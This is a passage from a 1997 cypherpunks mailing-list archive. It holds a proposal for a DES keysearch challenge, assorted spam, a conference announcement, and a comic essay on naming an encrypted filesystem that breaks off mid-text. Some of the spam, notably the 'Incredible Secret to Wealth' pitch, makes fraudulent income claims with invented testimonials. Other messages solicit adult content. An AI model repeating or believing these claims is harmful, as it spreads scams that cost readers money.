Subject: A better DES challenge
Date: Mon, 23 Jun 1997 16:04:25 -0400

I'm not a big fan of these ``challenges'' in which a prize is awarded
to the first person who discovers the key that produces some
plaintext/ciphertext pair.  The effort required to produce a solution
tends to grossly overstate the actual difficulty of searching the
keyspace, since invariably the winner uses the idle time on
general-purpose computers, which are poorly-optimized for use as
keysearch engines.

Another problem with challenges is that even when they are broken
they don't really provide convincing proof that the keyspace was
actually searched.  For example, in the recent 56-bit RSA DES
challenge, RSA has no way to prove that it didn't ``leak'' some hint
about the solution to the winner. (I hasten to point out that I'm not
suggesting that anything like this actually happened, only that a
skeptic might raise the possibility, against which RSA has no real way
to defend itself).  A better challenge, then, would be one in which
even the challenger doesn't know the solution in advance (or would
have had to itself search the keyspace or otherwise cryptanalyze the
cipher in order to find it).  For example, a challenge for a one-way
collision-intractable hash function could simply ask for an example of
a collision, or could ask for the inversion of some well-structured
output (such as all zeros).

We can do the same thing for encryption functions.  I propose an
alternative DES challenge that can be solved only by searching a large
fraction of the keyspace or by cryptanalyzing the cipher.  The
structure of the challenge is such that most people would agree that
either I don't know the solution myself or that I've already searched
the keyspace or otherwise cryptanalyzed DES in some way.  In other
words, the only way I could covertly ``help'' the challenge winner is
if I've already done what the challenge is supposed to establish is
possible in the first place.

Recall that there are 2^56 DES keys that each select a different
permutation of the 2^64 codebook entries.  We expect that there's
about a 1/2^8 chance that there exists a DES key that converts any
given plaintext block to any given ciphertext block.

My challenge is to find a key such that a ciphertext block of the form
<XXXXXXXX> decrypts to a plaintext block of the form <YYYYYYYY>, where
X and Y represent any fixed eight-bit byte value repeated across each
of the eight bytes of the block.

Observe that I'm actually posing 2^16 different challenge
plaintext/ciphertext pairs, each with about 1/2^8 probability of
having a solution, where groups of 2^8 challenges can be searched for
simultaneously.  Each challenge may have no solution key, exactly one
solution key, or more than one solution key, but it is very likely
that there is at least one solution key to at least one of them (in
fact, one could expect to find about 2^8 solutions overall, assuming
DES produces good pseudorandom permutations).

The most obvious way to find a solution is try, for each
properly-formed ciphertext block, every key in the DES keyspace until
a plaintext block of the proper form is found.  Special-purpose
hardware, based on FPGAs or ASICs, would obviously be helpful for this
purpose.  (One might first consider the eight weak / semi-weak DES
keys that have 2^32 fixed points, on the chance that one of the blocks
of this form is a fixed point for one of them.  Unfortunately however,
none are.)

I will award a grand prize of fifty six bits ($7 US dollars) to the first
person to provide a solution key.  (The challenge ends when first key
is found).  While the prize money is admittedly trivial (this is out
of my own pocket, after all), I hope it will serve as ``seed money''
that encourages others to add their own prizes to a growing pot.

Of course, I cannot be completely sure whether there exist any
solutions at all.  In the (unlikely) event that there is no winner by
August 1, 1999, I will award the 56 bit prize to the person who submits
the key that produces the most ``interesting'' plaintext block from
the all-zero ciphertext block.  I will be the final judge of what
constitutes interesting.  This prize will be announced at the rump
session of CRYPTO'99.

Void where prohibited by law, etc.  Comments, questions and solutions
should be submitted by email, to <challenge@crypto.com>.  If others wish
to pledge additional prizes, please also let me know at that address
and I'll keep track of who is offering what, etc..

- -matt

------- End of Blind-Carbon-Copy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: Studio@64.com
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Message-ID: <199706281026HAA45517@uss.net>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Studio@64.com (Studio 64)
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To: Studio@64.com
Subject: Gentlemen, Over 18?  Read This...
Message-ID: <199706283861CAA8177@uss.net>
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************************************************************
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************************************************************Think about it.
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 This special promotion ends July 20th.

************************************************************
For the easiest way to order, hit your print button now.
************************************************************
Because this information is of an adult nature, you must be over 18 years of age to order. Please enclose 
with the following a  Check, Money Order or Cash in the amount of  $19.95.  Address to  Studio 64, 1163  
E. Ogden Ave, Suite 705-183,  Naperville,  Illinois,  60563.

( Please Print)

Name__________________________________________________
Address_____________________________City, State_____________
E-Mail Address (optional)___________________________________
I  am over 18 years of age (signature please)_______________
 
Please allow 2-3 weeks for delivery. Thank you.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 37042252@usa.net
Date: Sat, 28 Jun 1997 10:08:39 -0700 (PDT)
To: PublicInfo@yourinfo.com
Subject: Accept Major Credit Cards Online...VERY LOW FEES!!!
Message-ID: <imsco@cyberpromo.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi there,


Credit Cards are the universal currency of the Internet, and, if you want to do business online, you need to be able to Accept Visa, Mastercard and American Express cards on your Web site.

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Apply now and start your cash flowing today!



If you wish to be removed from our mailing list, please hit reply and type REMOVE in the
subject field .
  












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: benjamin@creativeimagery.com
Date: Sat, 28 Jun 1997 15:15:06 -0700 (PDT)
To: benjamin@creativeimagery.com
Subject: DO YOU NEED WEB-LEGAL CONTENT?
Message-ID: <199706282206.RAA32411@wakko.creativeimagery.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message is intended for adult webmasters only.
If you wish no further mailings type "remove" in the subject box & reply.
////////////////////////////////////////////////////////////////////////////////
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If you have an interest respond to arsenal@arsenalcdrom.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: .@lox2.loxinfo.co.th
Date: Mon, 30 Jun 1997 02:17:40 -0700 (PDT)
To: customers@lox2.loxinfo.co.th
Subject: The Website With Everything
Message-ID: <199706012075.WAA27903@server>
MIME-Version: 1.0
Content-Type: text/plain


http://www.master-mall.com/

Everything you will ever need is here,

If you are looking to start a business,need to find a long lost love or
relative,or just like to play games,this is the place,
you will even find "hard to get information" on offshore banking,finding
people,very economical web page creation,and hosting
even bulk email advertising.

This place has it all.

Thanks for your time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 05643693@prodigy.net
Date: Mon, 30 Jun 1997 12:00:13 -0700 (PDT)
To: Work@home
Subject: Computer
Message-ID: <196656374004.GAA07044@prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


              PLEASE READ THIS IF YOU WOULD LIKE TO
            EARN EXTRA CASH USING YOUR COMPUTER!!! 


                                 (Now in Mac format, too!)


     If you have even a basic knowledge of computers, you could be 
making money in your spare time.  There are many opportunities
 including: contract typing; data entry; advertising on your own Web  
page; and even testing new games.  Send for the packet, "Home 
Computer Income" which contains all the information you need to get 
started.  Included is a listing of several companies that offer this type
of work.  Order today, all  you need  is a few hours a week to create an
excellent second source of income!


           -Please print (or write out) this order form and mail to- 
------------------------------------------------------------------------------

M.E.C.
P.O. Box 2188
La Mesa, CA 91943-2188

 [  ] Yes, I would like to get started.  Please rush me the 
information.  Enclosed is $14.95 (plus $2.00 for shipping and 
handling, $16.95 total.)  If I am not completely satisfied, I
have 30 days to return the packet for a full refund (less S+H).
Please allow 5-7 business days for checks to clear. 

Name/E-Mail Address___________________________________

Address_______________________________________________

City,State,Zip__________________________________________

[] Send packet to my e-mail address (omit S&H.)
[] Send packet on 3.5" / 5.25"" / Mac disk.  (circle one.) 
         (disc is compatible with all word processors.) 
-----------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ctn@idp.net
Date: Mon, 30 Jun 1997 11:27:00 -0700 (PDT)
To: "Printer Owners"
Subject: Fourth of July Special
Message-ID: <B0000053520@www.idp.net>
MIME-Version: 1.0
Content-Type: text/plain


Fourth of July Special!!!!!!   Call 1-800-767-0160 to order.

Brand New Hewlett Packard Toner Cartridges at Wholesale Prices!!!

Part #                     Printer Type                            Price                

92298A    EP-E      Series 4, 4M, 4+, 4, 5N, 5M    $89.00             
92295A    EP-S      Series II, III                              $69.00             
92275A    EP-L      Series IIP, IIIP                          $76.00
92274A    EP-P      Series 4L/4P                           $65.00
92291A    EP-N      Series IIISi/4Si                        $99.00
C3900A    EP-B      Series 4V/4MV                       $125.00
C3903A    EP-V      Series 5P, 5MP, 6P, 6MP        $76.00
C3906A    EP-A      Series 5L                                 $59.00
C3909A    EP-W     Series 5Si, 5SiMX, Mopier       $145.00

FX-1          Canon Fax L700 Series                           $81.00
FX-2          Canon Fax 5000/5500                            $71.00
FX-3          Canon Fax L4000                                    $71.00

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IF YOU DO NOT WISH TO RECEIVE FUTURE EMAIL, PLEASE REPLY TO 'ctn@idp.net' AND PLEASE PLACE 'REMOVE' IN THE SUBJECT AREA.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 17221646@25050.com
Date: Wed, 16 Sep 1998 16:51:46 -0700 (PDT)
To: sender422@mail.whynot.net
Subject: RE:Golf Strokes
Message-ID: <93904039291232@hsd_hypothesis.com>
MIME-Version: 1.0
Content-Type: text/plain


"If i can drop my handicap 11 strokes...so can you !" 

Golfer: Brad Beckett

CLICK HERE >> http://www.swingeez.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alexander 'Sasha' Chislenko" <sasha1@netcom.com>
Date: Sun, 1 Jun 1997 00:18:39 -0700 (PDT)
To: (Recipient list suppressed)
Subject: EXTRO-3: Extropy Institute's Third Conference on the Future
Message-ID: <3.0.2.32.19970601030136.016359d0@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hope you may be interested...

--------------------------------------------------------------------------
E X T R O  3:  Extropy Institute's Third Conference on the Future
               August 9-10 1997, Doubletree Hotel, San Jose, CA

Saturday (Aug 9) theme:  The Future of the Body and Brain.
Sunday  (Aug 10) theme: Future Infrastructure.

The conference will include presentations by Eric Drexler - nanotechnology
pioneer and chairman of the Foresight Institute, Gregory Stock - Author of
"Metaman", Kevin Kelly - executive editor of Wired, Max More - President
of the Extropy Institute, Mark Miller - founder of Agorics, Inc., Chris
Peterson, Sharon Presley, Sasha Chislenko, Robin Hanson, Anders Sandberg,
and others, as well as panel sessions devoted to progress in Artificial
Intelligence, Investing in the Future, and Future of Gender and Sexuality.

Extropy Institute functions as a networking organization bringing together
scientists, technologists, entrepreneurs, philosophers, and artists who
share certain general interests including: extending life span, augmenting
intelligence (both cognitive and emotional), gaining access to space, and
achieving control over our own biology through genetic engineering,
bioengineering, neural-computer interfaces, and molecular nanotechnology.
We welcome all interested members of the public to attend and participate.

Past speakers have included Marvin Minsky of MIT, Bart Kosko - fuzzy logic
and neural network pioneer at USC, Roy Walford - leading gerontologist at
UCLA, Hans Moravec - Director of Carnegie-Mellon's Mobile Robotics Lab,
Michael Rothschild - author of Bionomics, and Ralph Merkle -
nanotechnologist at Xerox Parc.

For more information, please visit <http://www.extropy.org/extro3.htm>
or call (310) 398-0375 and leave your mailing address or email address,
or send email to more@extropy.org




-------------------------------------------------------------------
Alexander Chislenko   <http://www.lucifer.com/~sasha/home.html>
Great Thinkers page:  <http://www.lucifer.com/~sasha/thinkers.html>
-------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ron Franklin <incrediblesecret@hotmail.com>
Date: Sun, 1 Jun 1997 20:17:17 -0700 (PDT)
To: Incredible Wealth Secret <incrediblesecret@hotmail.com>
Subject: $8,900 in 24 Hours
Message-ID: <199706020317.UAA22131@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


************************************************************
The following information could change your life
forever. If this is of no interest to you just hit reply
and put remove in the subject.
************************************************************
Dear Friend, "I made $8,900 in 24 hours! You could do much better! My name is Ron
     Franklin. A little while ago, my life was miserable. I had just gotten married, my wife was
     pregnant and we were $45,000 in debt! I couldn't make the payments and the bank
     repossessed my car. I remember the day my wife phoned me crying. The landlord had
     shown up at the house with an eviction notice because we hadn't paid the rent in three
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     Besides that, my oldest boy's in college, my younger son and daughter are wonderful and
     my wife and I love each other very much. I couldn't ask to be happier. My life is perfect!
     Best of all, I have time to enjoy life. No more 50 and 60 hour weeks, working two jobs,
     just trying to pay the bills. No more embarrassing times when the kids needed something
     for school and I didn't have the money. No more fighting with my wife from the stress of
     never having enough money for groceries. I work about two hours a day and that's it!
     The rest of the time is left to have fun and do the things I really love. I finally have time to
     spend with my family. That's better than all the money in the world! My favorite thing is
     to go on picnics with my children. I also love to travel. My wife and I just got back from
     a three week second honeymoon in Cancun. I'm not trying to brag or impress you with
     my wealth. What I'm trying to do is prove to you that if I wasn't lucky enough to have
     learned that secret that day, I would still be poor, probably bankrupt. It was only
     because of that amazing money-making secret that I was able to become debt free, and
     very wealthy. I hate to think of where my family and I would have been without it."
     Knowing this secret changed my life completely. It brought me wealth, happiness,
     freedom and time to be with my family that I love. But most importantly, it gave me
     security and peace of mind. This secret will change your life too! It'll give you everything
     you need and allow you to solve ALL your money problems. Of course, you don't have
     to take my word for it. You can try it out for yourself. I wasted quite a bit of money
     sending away for one money- making scheme after another. I found out what you
     probably already know. They all turned out to be garbage. The only one who made any
     money were the companies who sold them. This secret is completely different. It's unlike
     anything you could ever imagine! I used to be "the little guy". Poor, trying to make ends
     meet (and losing) and with no opportunities at all. Now it's my turn to give something
     back to the "little guy". This secret is incredibly simple. Anyone can use it. You don't
     need special training or even a high school education. There's no physical labor involved.
     It doesn't matter how young or how old you are. It's simple enough for a child to learn in
     a couple hours. You can use this secret in the comfort of your own home or even while
     you're on vacation! I'll tell you more about this amazing secret: With this secret the
     money rolls in FAST. If you can follow easy instructions you can get started in a single
     afternoon and have CASH in your pocket the very next morning! In fact, this is probably
     the fastest, most honest, legal method of making money ever invented! It's risk-free and
     it's not a risky gamble. Everything you do is proven and GUARANTEED. The method is
     so simple, it would be hard to make a mistake even if you tried! This is a VERY safe
     way to make cash. Making money with this secret is a snap. You'll be amazed at how
     easy it really is. You can work or not work anytime you want. You're not tied down to
     anything or anybody. You're the boss and you make your own hours! One of the nicest
     things about this secret is that anyone can do it in their own home. No office. No
     equipment. No staff. No overhead. NO hassles. It doesn't even matter where you live.
     It's perfect for students, homemakers, kids, seniors and anyone who likes the idea of
     being insanely rich with very little work! It's also perfect if you're just looking for a little
     bit of extra part-time cash. This secret will blow your mind! When you use it to make
     money you never have to try to convince anybody of anything. There's no door-to-door
     selling, no telemarketing and no real estate or anything else that involves personal
     contact. So you don't have to be a sales person or know anything about selling! It has
     nothing to do with multi-level marketing, credit card techniques, gambling, chain letters,
     government loans, banking systems, junk mail, party plans, or anything else you may
     have heard about before! This secret is completely legal and honest. You'll sleep good at
     night knowing that you're providing a very valuable service. You'll be proud and excited
     to tell friends and family what you're doing. It'll only take you an hour or two to learn this
     fascinating money-making secret. After that everything's almost automatic. After you
     learn the secret you'll only have to work four or five hours per week! I will share with
     you a secret VERY few people know. Most of those who do know this secret are
     MILLIONAIRES! Once you know it I predict your life will never, ever be the same
     again! And by following the step-by-step instructions I will send you, in just a few hours
     you can earn an extra couple thousand dollars. You're probably sceptical. I wouldn't
     expect less from you. It shows you have good business sense. One young man learned
     this secret, tried it his first day and made $2,000 profit in just a few hours. "This is the
     ultimate lazy guys way to get rich. You'll like how easy it is and you could easily do
     better than $2000 with the easy instructions he'll send you. Thanks Mike." "I never really
     believed your success stories and I never thought I'd be one of them...using your secret,
     in just 8 months I made over $203,000...made over $22,000 in the last two and a half
     weeks! It's simple, easy, very fast...Mr. Franklin, thank you for your Incredible Secret!"
     "It's good and honest money. The secret could make you more money then you'd know
     what to with, though I'm sure you could figure out something! I was supplied with
     detailed instructions and I had cash two days later. Thank you Mike!" "I'm amazed at my
     success! By using your secret I made over $600,000 in five months. That's more than 35
     times what I used to make in a year! (I quit my job after using this secret for 2 weeks!) I
     was waiting for this miracle! Thank you Micheal Franklin." "Your secret is awesome! I
     never expected something so different and easy that will actually make me an easy
     $3,000.00 on a weekly basis. A GREAT many thanks to you." "This is without a doubt
     the most powerful millionaire-maker I've ever seen!" "Two years ago, I sent away for
     your Incredible Wealth building Secret in sheer desperation for a better life... One year
     ago from using your secret a man called and offered me a partnership... I grossed over
     $160,000 cash in seven months! You are a God sent miracle to me. Thank you Micheal
     and God Bless you and your family." "He does more than give general ideas. He gives
     people an easy to follow, A to Z plan to make big money." "I didn't believe you when
     you said the secret could make me money by the next morning. Man was I wrong! By
     the VERY NEXT MORNING $7200 poured in, in less than 24 hours!! I am still
     dumbfounded to tell you the honest truth. To anyone who is considering getting this
     secret: Just Do It! I was sceptical at first but trust me it's well worth it! To The Incredible
     Secret of Wealth: Thank you for making me rich rich rich! I'm not done using this secret
     yet! As you can see, I've found something pretty good. I think I've come across the
     sweetest money-making secret you could ever imagine. Remember- I GUARANTEE
     IT! Usually it takes big money to make big money. This is the exception. But you don't
     have to start small and you don't have to stay small. The size of your profits are totally up
     to you. And there you have it. I've explained this remarkable secret in a special
     money-making plan. I call it "THE INCREDIBLE SECRET TO WEALTH". Some call
     it a miracle. Others call it "the secret that changed my life and gave me astounding
     wealth." You'll probably call it "The Money Secret". You'll learn everything you need to
     know step-by-step. So you too can put this amazing money making secret to work for
     you and make ALL THE MONEY YOU WANT. Either you solve ALL your money
     problems with this secret WITHIN 30 DAYS! or I'll give you your money back. So if
     you have given this an honest effort by following the simple A-Z instructions, and you
     have not made any money within 30 days you can send it back to me and I will return
     your money back no questions asked. That is how sure I am that this will work for
     YOU!! So you have nothing to lose by trying this out!! So if you'd like to make a quick
     ten grand in 24 hours this is just for you! I GUARANTEE IT! And with my guarantee
     there's absolutely NO RISK ON YOUR PART! To order simply write your name and
     address on a piece of paper, enclose your check, money order or cash for ONLY
     $25.00 and send it to:
************************************************************
S.R.B. Marketing 6292-180 Street, Edmonton, AB CAN, T5T 2T2
***********************************************************
     Make checks and money orders out to ***S.R.B. Marketing***. That's all there is to it.
     I'll send you The Incredible Secret to Wealth by return mail, along with a copy of my
     money-back guarantee. But my supply is very limited! So send in your order quickly. A
     month from today you will be nothing more than 30 days older. Or you can be free of
     ALL your money problems. It's your decision. Put that way, what's $25.00? P.S. When
     my supply is gone, I will return all orders. 


	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Mon, 2 Jun 1997 14:17:37 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Curl up and dye
Message-ID: <199706020854.JAA14698@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




This week, in the Hair issue of Shift Control...

"To be fair, I've never left a hairdresser's happy. In fact, I don't 
know anyone who hasn't fled from a hairdresser's in search of the 
nearest reflective surface (I chose the window of an Iranian rug 
importer on Piccadilly) to try and rub away the salon-induced feeling 
of idiocy. But on this day I was particularly woeful. The haircut was 
nothing a five-year-old boy would have been ashamed of. But I'm a bit 
older than that. My own mother, who I saw later that day for the 
first time in two years, said I looked like a 'dork'." - Paul Robinson 
on getting a high-class haircut.


"'And the new world champion for imperial whiskers is... Jurgen 
Burkhardt!' When it dawned on the short German dressed in the Kaiser 
outfit that he'd won his event, the loops at either end of his huge 
moustache began to twitch maniacally. The dimensions of the new world 
champion's imperial growth were staggering. From left to right, 
including the loops, it 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bodiesrhot@hotmail.com
Date: Tue, 3 Jun 1997 11:00:57 -0700 (PDT)
To: bodiesrhot@hotmail.com
Subject: Tiffany's Pictures on her web page
Message-ID: <184558452539.CAA08557@bstgrlsss.com>
MIME-Version: 1.0
Content-Type: text/plain


If you are not interested in adult pictures or are under the age of 
18, I apologize,  DO NOT REPLY  and I will GUARANTEE you will be
 removed from my list or you may reply to removetif@answerme.com and 
you will receive confirmation that you were removed, either way, I apologize
 and you WILL be removed from my list.


Hi my name is Tiffany.  I am a college student that just learned how 
to make a web page, so I decided to put some naughty pictures of 
myself on my page for everyone to see.  If you want to see it, write 
back to me at  tif@answerme.com and type "over 18" in the subject box
 (you will have to change the current "to" box to  tif@answerme.com)
 If you are offended by nudity, Do Not Reply and  I will take you off
 my mailing list.   
-Tiffany



















-Tiffany





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 3 Jun 1997 09:04:16 -0700 (PDT)
To: firewalls@greatcircle.com
Subject: Cryptographic Mythology
Message-ID: <19970603160344.26296.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain



Here is something to amuse, delight and horrify - the tail of:

       _One Man's Search for a Cryptographic Mythology_.

I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now
the day dawned when I decided it was high time to discard my rather
egocentric working name _Proffs_ (i.e Proff File System) and cast
about for a decent, respectable name. My first thought on this
matter was:

CERBERUS, n. The watch-dog of Hades, whose duty it was to guard
   the entrance -- against whom or what does not
   clearly appear; everybody, sooner or later, had to go there,
   and nobody wanted to carry off the entrance. Cerberus is known
   to have had three heads, and some of the poets have credited
   him with as many as a hundred.

Only, what was the relation between KERBEROS and CERBERUS? Pups
from the same litter, or was the relationship a little more
incestuous? I had to find out. There was no way - n o  w a y - I'd be
having my encrypted file system playing second fiddle to that evil
authentication beast.

KERBEROS; also spelled Cerberus.  n.  The watch dog of
   Hades, whose duty it was to guard the entrance--against
   whom or what does not clearly appear; . . . it is known
   to have had three heads. . .

Mythology couldn't get any more incestuous than that.

450,000 bytes of Greek polytheism later, and I'm wondering if the
Gods of Olympus really had any high-paid guards to speak of except
the multi-headed mongrel from Hades. I'm feeling down. I'm cursing
the Ancients. I'm disrespectfully humming tunes `All and All it's
Just Another Greek in the Wall', and `Athena be my Lover' when I
discover:

JANUS: in Roman mythology, custodian of the universe, god of
   beginnings. The guardian of gates and doors, he held
   sacred the first hour of the day, first day of the month, and
   first month of the year (which bears his name). He is represented
   with two bearded faces set back to back.

Custodian of the universe. Guardian of gates and doors. Cooool.
Janus.  January. I like it.  Only while I'm liking it, I'm thinking
that I've heard the word Janus a lot before. I'm thinking it isn't
just me who has looked up from the middle of a Greek mythology
text, whilst in the throes of a name hunt with the words "Cooool"
on their tongue.  No: the Gods just don't smile on me that way.
AltaVista confirms the truth of Heaven's bad attitude towards me.
17,423 references.  _The Janus Mutual Trade Fund_, _The Janus
Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH
these Canadians?), _Janus' cool word list_ (turns out to be not so
cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_,
_janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama
series and of course, the sixth moon of Saturn - _Janus_. Janus is
out-of-the-picture. I'm not sure whether to feel smug or grim about
the rest of the world's lack of originality.

Guards. Guardians. The Greeks didn't have many with bite and I'm
loosing patience with the whole culture. Euphrosyne, Aglaia, and
Thalia do not grace me.  What I need is something that evokes
passion within my cryptographic domain. And when you come down to
it, that means something which produces copious amounts of gore
and blood, at will, from those who would dare to pass its demesne
of protection.

     The Erinyes, or Furies, were three goddesses who punished by
     their secret stings the crimes of those who escaped or defied
     public justice. The heads of the Furies were wreathed with
     serpents, and their whole appearance was terrific and appalling.
     Their names were Alecto, Tisiphone, and Megaera.  They were
     also called Eumenides.

Aye. Plenty of gore there. But somewhat lacking in cryptographic
analogy.  Fantastic material for the group that doesn't meet at
number 41 every Saturday night though. They will appreciate what
the Erinyes were trying to achieve.

Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads
of the Furies were wreathed with serpents, and their whole appearance
was terrific and appalling". Terrific. Serpents.

Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten
   + facere: to make. See Terror, and Fact.] Causing
   terror; adapted to excite great fear or dread; terrible; as, a
   terrific form; a terrific sight.

Is it a symptom of society in decay that this word has come to mean:

Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis,
   p. pr. of excellere. See Excel.] 1. Excelling;
   surpassing others in some good quality or the sum of qualities;
   of great worth; eminent, in a good sense; superior, as an
   excellent man, artist, citizen, husband, discourse, book, song,
   etc.; excellent breeding, principles, aims, action.

Or as Milton would say:

   To love . . . What I see excellent in good or fair.

On the other hand, David Hume (1711-1776):

   The more exquisite any good is, of which a small specimen is
   afforded us, the sharper is the evil, allied to it; and few
   exceptions are found to this uniform law of nature. The most
   sprightly wit borders on madness; the highest effusions of joy
   produce the deepest melancholy; the most ravishing pleasures
   are attended with the most cruel lassitude and disgust; the most
   flattering hopes make way for the severest disappointments. And,
   in general, no course of life has such safety (for happiness is
   not to be dreamed of) as the temperate and moderate, which
   maintains, as far as possible, a mediocrity, and a kind of
   insensibility, in every thing.

Perhaps it is the sign of a brain in decay, rather than a society
that I dwell on it so, because Terrific hair serpents of course
lead unfailing into the arms of the Medusa. A guardian of fearsome
looks, but dubious motivations according to authorities like Clash
of the Titans (1981). A moot point, perhaps as Princeton's
history department no longer wants to talk to me. I'm cast adrift,
to rely on my Plasticine childhood memories and the mythological
swamp of the web.

   NAME: Medusa
   FAVORITE PASTIME: Turning men to stone
   PLACE OF ORIGIN: Los Alamos Secret CIA Lab
   SPECIAL GIFTS: Petrified Aggregate Projectist
   FAVORITE MOVIE: Mighty Morphin' Power Rangers
   GOALS IN LIFE: To be a nice person
   FAVORITE BOOK: Madonna's biography
   PET PEEVE: Bad hair days

Jesus. I've been sucked into comic book hell. Princeton, take me
back.  I won't curse at the ancient Greek's sexual proclivities
anymore. I'm sure chaste marriages were very daunting to those yet
to have them. I was only joking. Lighten up will you?

But, alas, the history faculty however was still nursing its
wounds, and was not ready to forgive me. I'd have to find an
authoritative source somewhere else. Perhaps I could filter out the
comic book hell contaminants and come up with respected history Ivy,
even if it wasn't Princeton Ivy.

   To decapitate - to castrate. The terror of the Medusa is thus
   a terror of castration that is linked to the sight of something.
   The hair upon the Medusa's head is frequently represented in
   works of art in the form of snakes, and these once again are
   derived from the castration complex. It is a remarkable fact
   that however frightening they may be in themselves, they
   nevertheless serve as a mitigation of the horror, for they
   replace the penis, the absence of which is the cause of the
   horror. This is a confirmation of the technical rule according
   to which a multiplication of penis symbols signifies castration.

   Sigmund Freud
   The Medusa's Head

You had to hand it to Sigmund. He was nothing if not authoritative,
and after reading his inspiring words on the terrific serpent haired
woman, it became clear to me that _Proffs_ and the Gorgon had somewhat
unresolved metaphorical incompatibilities. I didn't want my software
giving anyone a castration complex.

I decided to put aside the denizens of Olympus from contest verbatim.
I'd read Fraud on Perversions a few years before and knew Medusa
was just a portent of what was to come.  What I needed was another
polytheist culture entirely.  Latin didn't help me. Nearly all the
Roman Gods had been vilely plagiarised from the Greeks, Latin names
or not.  Freud knew this as well as I did.  The Norse gods were of
little assistance to me.  The only one worth paying school to was
Loki, the Norse god of mischief. Loki was a very cool fellow, which
was why his name has been appropriated as a moniker by virtually
every Bjorn, Sven, and Bob hacker to come out of Scandinavia in
the last 10 years. No, Loki was not for me.

The problem craved for a polytheist mythology outside the realm of
my, and more importantly Sigmund Freud's, Western European upbringing.
The answer to my question was by definition locked within a body of
history I didn't know an onion skin about. In order for the pilgrim
to reach the master he must first place his foot on the path, no
matter how gradual the slope up the mountain of enlightenment. Zen
Buddhism is good like that. Fabricating parables up as you go along
that is.

   Zen master Gutei raised his finger whenever he was asked a
   question about Zen. A young novice began to imitate
   him in this way. When Gutei was told about the novice's imitation,
   he sent for him and asked him if it were true. The novice admitted
   it was so. Gutei asked him if he understood. In reply the novice
   held up his index finger. Gutei promptly cut it off.  The novice
   ran from the room, howling in pain. As he reached the threshold,
   Gutei called, "Boy!". When the novice returned, Gutei raised
   his index finger. At that instant the novice was enlightened.

But wait. This Koan isn't fabricated. At least, not by me. And
unlike most Zen Koan's I think you will agree that it pleasantly
satisfies Schopenhauer's "life, without pain, has no meaning".
However, semantically I'm seeing a very unhealthy correlation to
forgetting one's encryption key and losing one's finger.

My mind is drawn to the memory of the real-life nightmare of laying
in the easy-chair of a Swanston St. hypnotherapist suite, gazing
intently into a bright, but distant red light, while chanting the
mantra "I am not cynical about hypnotherapy. I am not cynical about
hypnotherapy.  I am not cynical about an Indian doctor with a 5th
floor office decorated coup'd'Edelstien. I'm not cynical about a
man who claims that his foremost clientele are rich middle aged women
who have put their jewellery somewhere "safe" and consequently
are unable to recall the location.  I'm not cynical about a
hypnotist who extols the virtues of having a M.D. so his patients
can claim 2/3rds of the cost of these jewellery retrieval sessions
under Medicare. I'm not cynical that these middle aged women are
infact suffering from some form of Mesmer complex.  And by all the
powers in Heaven, I have no pessimism about recalling my god-damned
pass-phrase!".

I never did remember the pass-phrase and you will notice Gutei
keeps very quiet about what he does with the novice's finger. In
this particular case, given the value of the data, I would have
traded placed with Gutei's novice, before you can say "Boy! Was I
enlightened".

I put my chin on my knee, and stare at the grain of my beige
plastic monitor case. Unless I could jump into another reality
it was the end of the line for _Proffs_ and _One Man's Search
for a Cryptographic Mythology_. Boy! Was I bummed. 

One of the great sins of us programmers is procedural thinking.
And it was exactly this sort of folly I was engaging in. There were
around 6 billion other realities going about their business. I
grant you that 2 billion of these were no doubt indulging in the
confusion and diffusion of an avalanche of pseudo-random mental
images and sequences we associate with dreams, and probably another
2 billion busy expanding their minds with the powerful products of
hash or decaying into a compressive state of increasing entropy
and beer rounds. This still left a select 2 billion souls with
which to weave my work.  If I approached them directly rather than
by analysing the information trails they left behind, I'd stand a
good chance of getting my feet onto the path of cryptographic
mythological enlightenment.

I have a Swedish friend who calls himself Elk on odd days and
Godflesh on even days. Don't ask why. As far as I know he's not
bisexual. Elk listened to my quest for cryptographic myth. He
had pondered, and uncovered a diamond in the rough. MARUTUKKU.

  The third name is MARUTUKKU, Master of the arts of protection,
  chained the Mad God at the Battle. Sealed the Ancient Ones in
  their Caves, behind the Gates.

F a r  o u t. Master of the arts of protection. Chained the Mad
God.  Sealed the Ancient Ones in their Caves, behind the Gates.
Even the very word MARUTUKKU looks like it has been run through a
product cipher.

But I wasn't about to trust the work of a self-admitted Swedish
Sumeria freak who was obviously suffering from a bi-polar moniker
disorder. Was it mere coincidence that MARUTUKKU was an anagram
for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as
another cog in the annals of Freudian analogy. What I
needed was the sort of Authoritative History that only Princeton's
history faculty could provide. The tablets of the Enuma Elish:

  The Akkadian Creation Epic

